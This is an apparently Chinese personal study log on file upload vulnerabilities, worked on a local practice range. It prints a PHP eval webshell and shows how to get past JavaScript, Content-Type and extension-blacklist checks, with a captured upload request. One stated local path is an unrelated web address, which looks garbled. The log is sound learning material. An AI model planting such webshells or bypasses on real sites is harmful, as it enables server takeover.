20260326网安学习日志—文件上传漏洞

张开发
2026/5/23 9:43:17 15 分钟阅读
20260326网安学习日志—文件上传漏洞
20260326文件上传漏洞概念上传文件的时候,如果服务器端脚本语言,未对上传文件进行严格的验证和过滤,就有可能上传恶意脚本,从而控制整个网站,甚至是服务器。一、一句话木马(一)?php phpinfo(); ?上传 1.php 卧底 到站点中,也就是 1.php卧底 上传到 up/根⽬录中发现卧底1.php 已经把 upload站点⽹站服务器 信息给传递出来了, 此时 upload站点⽹站 已经信息泄露了(二)?php @eval($_POST[cmd]); ?上传 2.php 卧底 到站点中,也就是 2.php卧底 上传到 upload/根⽬录中然后火狐渗透板勾选Post data。然后再填写cmd=phpinfo()(三)木马解释分析:?php @eval($_POST[cmd]); ? ​ @ 代表不管发⽣什么错误,代码执⾏过程中,不管发⽣什么意外,都需要正常的执⾏下去 eval eval函数的作⽤是把字符串按照 代码来计算,其使⽤语法如“eval(phpcode)”,其中参数 phpcode则是规定要计算的代码 $_POST[cmd] 获得post请求,post请求中的参数为 cmd, 你给cmd参数的任何 命令, eval 都会⽆条件必学执⾏, 不管是什么危险任务,所以才需要@来保证,必须执⾏,⼀定执⾏ ⼀句话⽊⻢:⼤⽩话来说,不以编程⻆度来说: 1 eval 输⼊的内容 当做命令来执⾏ 2 $_POST 处理 post 提交的数据 3 cmd post提交的参数名,cmd=你要制定该⽊⻢ 完成什么命令 完成什么任务 等(四)蚁剑通过蚁剑结合(二)可实现控制目标文件二、综合案例实操(白盒)——靶场共20个目标,20种方式攻破(一)JS绕过(ctrl+s以假乱真)JS 验证一般指JavaScript 前端表单验证(最常用场景),用于校验用户输入的内容是否符合规则(非空、邮箱、手机号、密码格式等)ctrl+s保存当前页,文件类型选择【网页,全部】查看源代码,我们会发现代码中,判断文件类型后进入if语句弹窗,我们可以通过不让其进入if从而达到目的function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }//判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) 将其改为假,从而无法进入if,改为 if (1 == -1)但是现在又出现了一个问题,我们只是在本地进行了修改,没法影响到正常的网站。这时候我们就要检查目标的调用函数form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()" p请选择要上传的图片:/pp input type="file" input type="submit" value="上传"可以看到有如下这一条代码要我们选择要上传的照片,会调用我们本地这时候我们可以添加动作action进行修改将 form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()" 改为: ​ form action="http://localhost/Pass-01/index.php" enctype="multipart/form-data" method="post" οnsubmit="return checkFile()"通过这个调用,在form表单中加入action官网,将我们修改的信息直接提交到了官网中进行完这两处修改后保存退出,并且用同一浏览器打开修改后的本地文件。这时我们可以看到地址栏中为https://wx-bgfccccb.xuanmuz.cn/PC/#/yueke3/3105455/3018005是我们的本地路径。然后在上传文件的位置上传我们之前的一句话木马。之后提交。然后就会发现地址栏发生变化,然后直接拷贝文件地址并且访问,访问成功即攻破该目标(二)文件类型验证(bp修改文件类型)查看源代码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] 从中截取这部分我们可以看到判断文件类型就有资格上传,否则就拦截拒绝上传选择木马文件上传之前BP拦截抓包POST /Pass-02/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://localhost/Pass-02/index.php DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------294402765129097 Content-Length: 330 -----------------------------294402765129097 Content-Disposition: form-data;; filename="1.php" Content-Type: application/octet-stream ?php phpinfo(); ? -----------------------------294402765129097 Content-Disposition: form-data; 上传 -----------------------------294402765129097--Content-Disposition: form-data;; filename="1.php" Content-Type: application/octet-stream 从这一栏我们可以看到它对上传文件类型的判断,直接强制性改变图片类型,然后放行 Content-Type: image/png(三)黑名单验证(利用服务器特性)黑名单验证中不让出现'.asp','.aspx','.php','.jsp'等后缀,并且也对大小写做了防御,并且也不允许.php.或者文件后缀后加空格的形式$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }由于Apache服务器【特性】能够使⽤php解析 phtml,php3。通过上述源代码,我们可以看出并未对phtml,php3进行防御,可以直接修改文件后缀上传绕过黑名单。(四)黑名单验证.htaccess.htaccess(全称Hypertext Access,超文本访问)是Apache Web 服务器专用的分布式目录级配置文件

更多文章